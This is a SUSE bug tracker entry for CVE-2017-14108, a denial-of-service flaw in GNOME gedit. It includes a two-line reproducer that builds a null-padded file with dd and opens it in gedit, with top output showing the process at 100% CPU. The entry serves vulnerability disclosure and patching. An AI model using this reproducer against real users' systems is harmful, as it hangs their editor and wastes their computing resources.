Bug 1057184 - (CVE-2017-14108) VUL-1: CVE-2017-14108: gedit: CPU consumption via crafted file
(CVE-2017-14108)
VUL-1: CVE-2017-14108: gedit: CPU consumption via crafted file
Status: NEW
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
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Assigned To: Yifan Jiang
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https://smash.suse.de/issue/191438/
CVSSv2:SUSE:CVE-2017-14108:2.1:(AV:L...
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Reported: 2017-09-05 09:41 UTC by Alexander Bergmann
Modified: 2020-06-29 06:30 UTC (History)
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Description Alexander Bergmann 2017-09-05 09:41:56 UTC
rh#1488335
CVE-2017-14108

libgedit.a in GNOME gedit through 3.22.1 allows remote attackers to
cause a denial of service (CPU consumption) via a file that begins with
many '\0' characters.

Reference:
https://cxsecurity.com/issue/WLB-2017090008

Reproducer:
#> echo -ne '\x68\x6f\x73\x65\x69\x6e\x20\x61\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=100 of=craft.txt
#> gedit craft.txt &

Now check for 100% CPU utilization.

#> top -b -n 1 | grep gedit
13724 abergma+  20   0  650968  51868  33560 R 100.0 0.317   0:38.66 gedit

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1488335
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-14108
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14108